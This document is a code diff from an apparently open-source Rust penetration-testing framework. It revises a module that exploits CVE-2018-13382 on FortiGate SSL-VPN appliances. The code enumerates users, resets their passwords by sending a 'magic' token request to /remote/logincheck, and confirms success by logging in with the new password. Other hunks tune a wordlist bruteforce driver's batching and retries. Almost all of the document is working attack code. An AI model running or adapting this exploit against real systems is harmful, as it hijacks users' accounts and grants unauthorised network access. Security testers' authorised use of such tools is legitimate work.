.context("Failed to reach target - is the host up?")?;
|
||||
let probe_status = probe.status();
|
||||
let probe_body = crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
|
||||
let probe_body = match crate::utils::network::read_http_body_text_capped(probe, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::meprintln!("{} Could not read fingerprint response body: {}", "[-]".yellow(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
|
||||
// Require an actual FortiOS indicator in the body — a bare 200/401 made almost
|
||||
// any HTTPS host look like a FortiGate.
|
||||
let is_fortigate = probe_body.contains("FortiGate")
|
||||
|| probe_body.contains("fgt_lang")
|
||||
|| probe_body.contains("sslvpn")
|
||||
|| probe_body.contains("fortinet")
|
||||
|| probe_body.contains("remote/login")
|
||||
|| probe_status.as_u16() == 200
|
||||
|| probe_status.as_u16() == 401;
|
||||
|| probe_body.contains("remote/login");
|
||||
|
||||
if !is_fortigate && probe_status.as_u16() == 404 {
|
||||
crate::mprintln!("{} SSL VPN login endpoint not found (HTTP {}). Target may not have SSL VPN enabled.", "[-]".red(), probe_status);
|
||||
@@ -119,7 +125,13 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
match client.get(&info_url).header("User-Agent", "Mozilla/5.0").send().await {
|
||||
Ok(resp) => {
|
||||
let info_status = resp.status();
|
||||
let info_body = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
|
||||
let info_body = match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
crate::meprintln!("{} Could not read /remote/info body: {}", "[-]".yellow(), e);
|
||||
String::new()
|
||||
}
|
||||
};
|
||||
if info_body.contains("encmethod") || info_body.contains("salt") || info_body.contains("sso_port") {
|
||||
crate::mprintln!("{} /remote/info reveals FortiOS indicators (encmethod/salt/sso_port)", "[+]".green());
|
||||
outcome.findings.push(Finding {
|
||||
@@ -204,17 +216,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let result = attempt_magic_reset(&client, &base_url, username, &new_password).await;
|
||||
|
||||
match result {
|
||||
ResetResult::Success => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - {} (VPN group member, password reset!)",
|
||||
"[+]".green().bold(),
|
||||
idx + 1,
|
||||
usernames.len(),
|
||||
username,
|
||||
"VULNERABLE".green().bold()
|
||||
);
|
||||
vpn_members.push(username.clone());
|
||||
}
|
||||
ResetResult::NotInVpnGroup => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - Valid user, NOT in VPN portal group",
|
||||
@@ -235,16 +236,6 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
);
|
||||
invalid_users.push(username.clone());
|
||||
}
|
||||
ResetResult::Patched => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - Target appears patched or magic token rejected",
|
||||
"[-]".red(),
|
||||
idx + 1,
|
||||
usernames.len(),
|
||||
username
|
||||
);
|
||||
errors.push(username.clone());
|
||||
}
|
||||
ResetResult::Error(e) => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - Error: {}",
|
||||
@@ -256,6 +247,47 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
);
|
||||
errors.push(username.clone());
|
||||
}
|
||||
ResetResult::Success | ResetResult::Patched => {
|
||||
// Inconclusive on the reset response alone — confirm with a login
|
||||
// using the new password before counting this as a real reset.
|
||||
// A patched host fails this for every user (→ no false-positive
|
||||
// Vulnerable findings); a vulnerable host's real resets confirm.
|
||||
ctx.rate_limit(&target_ip).await;
|
||||
match verify_login(&client, &base_url, username, &new_password).await {
|
||||
LoginResult::Success => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - {} (VPN member, reset CONFIRMED by login)",
|
||||
"[+]".green().bold(),
|
||||
idx + 1,
|
||||
usernames.len(),
|
||||
username,
|
||||
"VULNERABLE".green().bold()
|
||||
);
|
||||
vpn_members.push(username.clone());
|
||||
}
|
||||
LoginResult::Failed(_) => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - reset not confirmed (patched / not a resettable VPN member)",
|
||||
"[-]".red(),
|
||||
idx + 1,
|
||||
usernames.len(),
|
||||
username
|
||||
);
|
||||
errors.push(username.clone());
|
||||
}
|
||||
LoginResult::Error(e) => {
|
||||
crate::mprintln!(
|
||||
"{} [{}/{}] {} - verify error: {}",
|
||||
"[-]".red(),
|
||||
idx + 1,
|
||||
usernames.len(),
|
||||
username,
|
||||
e
|
||||
);
|
||||
errors.push(username.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -346,56 +378,12 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let result = attempt_magic_reset(&client, &base_url, &username, &new_password).await;
|
||||
|
||||
match result {
|
||||
ResetResult::Success => {
|
||||
ResetResult::UserNotFound => {
|
||||
crate::mprintln!(
|
||||
"{} Password reset SUCCESSFUL for user '{}'!",
|
||||
"[+]".green().bold(),
|
||||
"{} User '{}' was not found on the target.",
|
||||
"[-]".red(),
|
||||
username
|
||||
);
|
||||
crate::mprintln!("{} New password: {}", "[+]".green(), new_password);
|
||||
|
||||
// Phase 3: Verify reset by attempting login
|
||||
crate::mprintln!("\n{} Phase 3: Verifying reset by attempting login...", "[*]".blue());
|
||||
ctx.rate_limit(&target_ip).await;
|
||||
let verify = verify_login(&client, &base_url, &username, &new_password).await;
|
||||
match verify {
|
||||
LoginResult::Success => {
|
||||
crate::mprintln!(
|
||||
"{} Login with new credentials CONFIRMED!",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
}
|
||||
LoginResult::Failed(reason) => {
|
||||
crate::mprintln!(
|
||||
"{} Login verification inconclusive: {}",
|
||||
"[*]".yellow(),
|
||||
reason
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{} Password was likely reset but login may require additional factors.",
|
||||
"[*]".yellow()
|
||||
);
|
||||
}
|
||||
LoginResult::Error(e) => {
|
||||
crate::mprintln!("{} Login verification error: {}", "[-]".red(), e);
|
||||
}
|
||||
}
|
||||
|
||||
outcome.findings.push(Finding {
|
||||
target: target_ip.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token",
|
||||
username
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"cve": "CVE-2018-13382",
|
||||
"username": username,
|
||||
"magic_value": MAGIC_VALUE,
|
||||
"new_password": new_password,
|
||||
"endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')),
|
||||
})),
|
||||
});
|
||||
}
|
||||
ResetResult::NotInVpnGroup => {
|
||||
crate::mprintln!(
|
||||
@@ -421,22 +409,53 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
})),
|
||||
});
|
||||
}
|
||||
ResetResult::UserNotFound => {
|
||||
crate::mprintln!(
|
||||
"{} User '{}' was not found on the target.",
|
||||
"[-]".red(),
|
||||
username
|
||||
);
|
||||
}
|
||||
ResetResult::Patched => {
|
||||
crate::mprintln!(
|
||||
"{} Target appears to be patched. Magic token was not accepted.",
|
||||
"[-]".red()
|
||||
);
|
||||
}
|
||||
ResetResult::Error(e) => {
|
||||
crate::mprintln!("{} Password reset attempt failed: {}", "[-]".red(), e);
|
||||
}
|
||||
ResetResult::Success | ResetResult::Patched => {
|
||||
// The reset response alone is NOT conclusive — a patched FortiGate
|
||||
// returns the same ret=1/redir= login response. Confirm by logging
|
||||
// in with the new password; emit the CVE Vulnerable finding ONLY on
|
||||
// a real `ret=1` login. This is what stops patched hosts being
|
||||
// falsely flagged as vulnerable.
|
||||
crate::mprintln!("\n{} Phase 3: Verifying reset by logging in with the new password...", "[*]".blue());
|
||||
ctx.rate_limit(&target_ip).await;
|
||||
match verify_login(&client, &base_url, &username, &new_password).await {
|
||||
LoginResult::Success => {
|
||||
crate::mprintln!(
|
||||
"{} Login with the new password CONFIRMED — password reset succeeded!",
|
||||
"[+]".green().bold()
|
||||
);
|
||||
crate::mprintln!("{} New password: {}", "[+]".green(), new_password);
|
||||
outcome.findings.push(Finding {
|
||||
target: target_ip.clone(),
|
||||
kind: FindingKind::Vulnerable,
|
||||
message: format!(
|
||||
"CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token (confirmed by login)",
|
||||
username
|
||||
),
|
||||
data: Some(serde_json::json!({
|
||||
"cve": "CVE-2018-13382",
|
||||
"username": username,
|
||||
"magic_value": MAGIC_VALUE,
|
||||
"new_password": new_password,
|
||||
"endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')),
|
||||
"confirmed": "login_with_new_password",
|
||||
})),
|
||||
});
|
||||
}
|
||||
LoginResult::Failed(reason) => {
|
||||
crate::mprintln!(
|
||||
"{} Reset NOT confirmed — login with the new password failed ({}). Target is likely patched / not vulnerable.",
|
||||
"[-]".red(),
|
||||
reason
|
||||
);
|
||||
}
|
||||
LoginResult::Error(e) => {
|
||||
crate::mprintln!("{} Verification request error: {}", "[-]".red(), e);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -476,9 +495,19 @@ async fn attempt_magic_reset(
|
||||
) -> ResetResult {
|
||||
let url = format!("{}/remote/logincheck", base_url.trim_end_matches('/'));
|
||||
|
||||
// The magic-token reset reuses the SSL-VPN login endpoint; the new password is
|
||||
// carried in `credential` (same field the login uses), with `magic` flipping
|
||||
// the request into a password set. `new_password`/`confirm_password` are kept
|
||||
// for FortiOS builds that used those names. NOTE: the canonical magic value +
|
||||
// exact field set vary by FortiOS version and want validation against a real
|
||||
// vulnerable target — but correctness no longer depends on the reset response
|
||||
// (success is confirmed by a follow-up login below), so a wrong field here can
|
||||
// only cause a false NEGATIVE, never a false positive.
|
||||
let form_body = url::form_urlencoded::Serializer::new(String::new())
|
||||
.append_pair("username", username)
|
||||
.append_pair("realm", "")
|
||||
.append_pair("magic", MAGIC_VALUE)
|
||||
.append_pair("credential", new_password)
|
||||
.append_pair("new_password", new_password)
|
||||
.append_pair("confirm_password", new_password)
|
||||
.finish();
|
||||
@@ -501,22 +530,19 @@ async fn attempt_magic_reset(
|
||||
Err(e) => return ResetResult::Error(format!("Failed to read response: {}", e)),
|
||||
};
|
||||
|
||||
// Analyze response for success/failure indicators
|
||||
// Differential-response classification — used ONLY to colour user enumeration.
|
||||
// Crucially, the ordinary FortiOS login response (ret=0 / ret=1 / redir=) is
|
||||
// NOT treated as a reset success: that false-flagged PATCHED hosts (whose
|
||||
// normal login response contains ret=1/redir=) as vulnerable. A real reset is
|
||||
// confirmed solely by a follow-up login with the new password (see callers).
|
||||
if body.contains("successful") || body.contains("password changed") || body.contains("reset ok") {
|
||||
ResetResult::Success
|
||||
} else if body.contains("vpn portal group") || body.contains("group membership") || body.contains("not member") {
|
||||
ResetResult::NotInVpnGroup
|
||||
} else if body.contains("user not found") || body.contains("invalid user") || body.contains("no such user") {
|
||||
ResetResult::UserNotFound
|
||||
} else if body.contains("invalid") || body.contains("denied") || body.contains("forbidden") {
|
||||
// Generic rejection - likely patched
|
||||
ResetResult::Patched
|
||||
} else if body.contains("ret=1") || body.contains("redir=") {
|
||||
// FortiOS often returns ret=1 with a redirect on success
|
||||
ResetResult::Success
|
||||
} else {
|
||||
// Ambiguous - check HTTP status and common FortiOS patterns
|
||||
// Some versions return an empty body or HTML on success
|
||||
// Anything else (incl. ret=1/redir=) is inconclusive — confirm via login.
|
||||
ResetResult::Patched
|
||||
}
|
||||
}
|
||||
@@ -556,17 +582,18 @@ async fn verify_login(
|
||||
|
||||
let body_lower = body.to_lowercase();
|
||||
|
||||
// FortiOS login success indicators
|
||||
if body_lower.contains("redir=") || body_lower.contains("ret=1") || status.as_u16() == 200 {
|
||||
if body_lower.contains("ret=0") || body_lower.contains("failed") || body_lower.contains("invalid") {
|
||||
LoginResult::Failed("Server returned failure indicator".to_string())
|
||||
} else {
|
||||
// FortiOS /remote/logincheck returns `ret=1,redir=...` on a SUCCESSFUL login
|
||||
// and `ret=0` on failure. Require the `ret=1` success token — a bare HTTP 200
|
||||
// (the login page itself) is NOT proof of authentication, and treating it as
|
||||
// success was the second half of the false-positive chain.
|
||||
if body_lower.contains("ret=1") {
|
||||
LoginResult::Success
|
||||
}
|
||||
} else if body_lower.contains("ret=0") {
|
||||
LoginResult::Failed("server returned ret=0 (auth rejected)".to_string())
|
||||
} else if status.as_u16() == 401 || status.as_u16() == 403 {
|
||||
LoginResult::Failed(format!("HTTP {}", status))
|
||||
} else {
|
||||
LoginResult::Failed(format!("Unexpected response (HTTP {})", status))
|
||||
LoginResult::Failed(format!("no ret=1 success marker (HTTP {})", status))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+10
-2
@@ -1184,9 +1184,17 @@ where
|
||||
|
||||
let pass_path_owned = pass_path.to_string();
|
||||
let reader_handle = tokio::task::spawn_blocking(move || {
|
||||
crate::utils::load_lines_batched(&pass_path_owned, BATCH_SIZE, |batch| {
|
||||
if let Err(e) = batch_tx.blocking_send(batch) {
|
||||
// `_until`: stop reading the moment the receiver is gone. With the old
|
||||
// `load_lines_batched` an early return from the loop below (e.g. stop on
|
||||
// first success) dropped the receiver but the reader kept scanning the
|
||||
// whole multi-GB file, firing a failed `blocking_send` per batch.
|
||||
crate::utils::load_lines_batched_until(&pass_path_owned, BATCH_SIZE, |batch| {
|
||||
match batch_tx.blocking_send(batch) {
|
||||
Ok(()) => true,
|
||||
Err(e) => {
|
||||
tracing::debug!("Batch send failed (receiver dropped?): {}", e);
|
||||
false
|
||||
}
|
||||
}
|
||||
})
|
||||
});
|
||||
|
||||
@@ -260,10 +260,20 @@ where
|
||||
let jitter_ms = opt_u64("bruteforce_jitter_ms");
|
||||
|
||||
// medusa `-r`-style connection retries: `setg bruteforce_retries N` re-tries a
|
||||
// retryable (transient/connection) error up to N times before giving up on a
|
||||
// combo. Defaults to 1 when unset or zero (the historical behaviour).
|
||||
let retries = opt_u64("bruteforce_retries");
|
||||
let max_retries = if retries == 0 { 1 } else { retries as usize };
|
||||
// retryable (transient/connection) error up to N times per combo. Unset → 1
|
||||
// (historical default); explicit 0 → no retries; clamped to a sane ceiling so
|
||||
// a fat-fingered huge value can't turn one combo into a billion attempts.
|
||||
const MAX_BRUTEFORCE_RETRIES: usize = 10;
|
||||
let max_retries = match opt_str("bruteforce_retries") {
|
||||
None => 1,
|
||||
Some(s) => match s.trim().parse::<usize>() {
|
||||
Ok(n) => n.min(MAX_BRUTEFORCE_RETRIES),
|
||||
Err(e) => {
|
||||
tracing::debug!("bruteforce_retries '{}' invalid ({e}); using 1", s.trim());
|
||||
1
|
||||
}
|
||||
},
|
||||
};
|
||||
|
||||
let bf_config = BruteforceConfig {
|
||||
target: host.clone(),
|
||||
|
||||
@@ -131,6 +131,7 @@ pub use modules::{
|
||||
pub use wordlist::{
|
||||
load_lines,
|
||||
load_lines_batched,
|
||||
load_lines_batched_until,
|
||||
load_lines_cached,
|
||||
load_lines_uncapped,
|
||||
};
|
||||
|
||||
@@ -637,6 +637,47 @@ where
|
||||
Ok(total)
|
||||
}
|
||||
|
||||
/// Like [`load_lines_batched`] but the callback returns `true` to continue or
|
||||
/// `false` to STOP reading the file. Lets a consumer (e.g. the streaming
|
||||
/// bruteforce driver whose channel receiver was dropped) halt the read instead
|
||||
/// of scanning a multi-GB wordlist to the end for nothing.
|
||||
pub fn load_lines_batched_until<P, F>(
|
||||
path: P,
|
||||
batch_size: usize,
|
||||
mut on_batch: F,
|
||||
) -> Result<usize>
|
||||
where
|
||||
P: AsRef<Path>,
|
||||
F: FnMut(Vec<String>) -> bool,
|
||||
{
|
||||
let file = fs::File::open(path.as_ref())
|
||||
.with_context(|| format!("Failed to open file '{}'", path.as_ref().display()))?;
|
||||
let reader = BufReader::with_capacity(256 * 1024, file);
|
||||
let mut total = 0usize;
|
||||
let mut batch = Vec::with_capacity(batch_size);
|
||||
for line in reader.lines() {
|
||||
let line = match line {
|
||||
Ok(l) => l.trim().to_string(),
|
||||
Err(e) => { tracing::trace!("skipping non-UTF-8 wordlist line: {e}"); continue; }
|
||||
};
|
||||
if line.is_empty() {
|
||||
continue;
|
||||
}
|
||||
batch.push(line);
|
||||
if batch.len() >= batch_size {
|
||||
total += batch.len();
|
||||
if !on_batch(std::mem::replace(&mut batch, Vec::with_capacity(batch_size))) {
|
||||
return Ok(total);
|
||||
}
|
||||
}
|
||||
}
|
||||
if !batch.is_empty() {
|
||||
total += batch.len();
|
||||
on_batch(batch);
|
||||
}
|
||||
Ok(total)
|
||||
}
|
||||
|
||||
/// Load lines from a file without the 100 MB cap.
|
||||
/// For wordlists that may be very large.
|
||||
pub fn load_lines_uncapped<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
|
||||
Reference in New Issue
Block a user